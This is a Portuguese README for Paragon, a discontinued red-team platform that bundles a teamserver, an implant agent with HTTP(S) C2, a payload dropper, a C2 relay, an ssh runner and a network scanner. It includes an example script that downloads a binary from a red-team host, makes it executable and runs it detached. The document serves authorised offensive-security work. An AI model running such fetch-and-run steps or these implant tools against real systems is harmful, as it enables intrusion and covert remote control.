
Plataforma de engajamento da Red Team com o objetivo de unificar ferramentas ofensivas por trás de uma interface simples.
Este projeto foi descontinuado. Consulte nosso novo Projeto Realm, que se baseia em muitas das ideias que tivemos ao construir este repositório.

Paragon é uma plataforma de engajamento de Red Team. Seu objetivo é unificar ferramentas ofensivas atrás de uma IU simples, abstraindo grande parte do trabalho de backend para permitir que operadores foquem em escrever implants e gastem menos tempo se preocupando com bancos de dados e CSS. O repositório também oferece algumas ferramentas ofensivas já integradas ao Paragon que podem ser usadas durante engajamentos.
Este repositório ainda está em forte desenvolvimento e não está pronto para uso em produção. Quando considerado estável, uma tag V1.0.0 será lançada. Até lá, a API pode sofrer alterações que quebrem a compatibilidade à medida que simplificamos continuamente nosso design. Leia a documentação do desenvolvedor abaixo se quiser nos ajudar a alcançar este marco mais rapidamente.
Uma instância de demonstração rápida pode ser configurada clonando o repositório e executando docker-compose up. Abra 127.0.0.1:80 no seu navegador para começar!
As imagens utilizadas estão disponíveis no docker-hub e podem ser configuradas a partir de um arquivo docker-compose para uma implantação em produção.
A maioria dos componentes neste repositório depende de uma linguagem de script semelhante ao Python, que permite controle poderoso e personalização de seu comportamento. A linguagem é uma versão modificada do starlark do Google, estendida com funcionalidade multiplataforma para operadores. Isso também permite que ferramentas como o agente e o dropper (discutidos abaixo) executem tarefas sem depender de binários do sistema (curl, bash, etc.). Todas as operações são executadas como código em Go, então é intuitivo adicionar funcionalidades adicionais ao ambiente de script. Aqui está um exemplo de script:
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")
new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)
# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)
Fornece uma aplicação web simples e API GraphQL para interfacear com um grafo de conhecimento da Red Team, unificando ferramentas por trás de uma fonte centralizada de verdade e abstraindo muitas preocupações tediosas de backend dos operadores. Integre suas ferramentas personalizadas com o Teamserver (usando a API GraphQL ou assinaturas de eventos) para economizar tempo no trabalho de backend. O Teamserver registra toda a atividade, então com todas as suas ferramentas unificadas em um só lugar, escrever relatórios pós-engajamento se torna significativamente mais fácil.
As ferramentas abaixo também estão incluídas no repositório. Elas podem ser facilmente estendidas para atender a muitos casos de uso multiplataforma.
O Paragon fornece uma ferramenta para empacotar assets (binários, scripts, etc.) em um único binário que, quando executado, executará seu script de implantação personalizado que pode escrever assets no sistema de arquivos, iniciar processos, baixar arquivos, lidar com erros e muito mais. É totalmente multiplataforma e compilado estaticamente, fornecendo implantações confiáveis. Se você deseja estender sua funcionalidade, pode simplesmente estender o arquivo Go gerado antes de compilar.
Um implante que executa tarefas e relata resultados de execução. É configurado por padrão para executar tarefas usando a linguagem de script semelhante ao Python do Paragon e para se comunicar com um C2 via http(s). É escrito em Go e pode ser rapidamente modificado para adicionar novos métodos de transporte (ex: DNS), opções de execução, lógica de failover e muito mais.
Atua como intermediário entre o Agent e o Teamserver. Ele lida com callbacks de agentes para uma variedade de mecanismos de comunicação e fornece novas tarefas da fila do teamserver.
Em vez de aguardar um callback, algumas situações podem exigir uma conexão direta para executar rapidamente uma tarefa e visualizar sua saída. O Runner realiza isso assinando filas de tarefas e estabelecendo uma conexão com a máquina alvo (ex: usando ssh). Isso permite que integrações do tipo shell utilizem a mesma interface que implants e C2s. Também permite que a implantação inicial do implante seja conduzida através desta interface.
Monitore a atividade da rede alvo e serviços visíveis. Mapeie um gráfico da rede do engajamento e acione automação em mudanças de estado (ex: ssh fica disponível).
Definir a variável de ambiente killswitch PG_KS_MachineUUID para o teamserver desabilitará as consultas que utilizam UUIDs de máquina.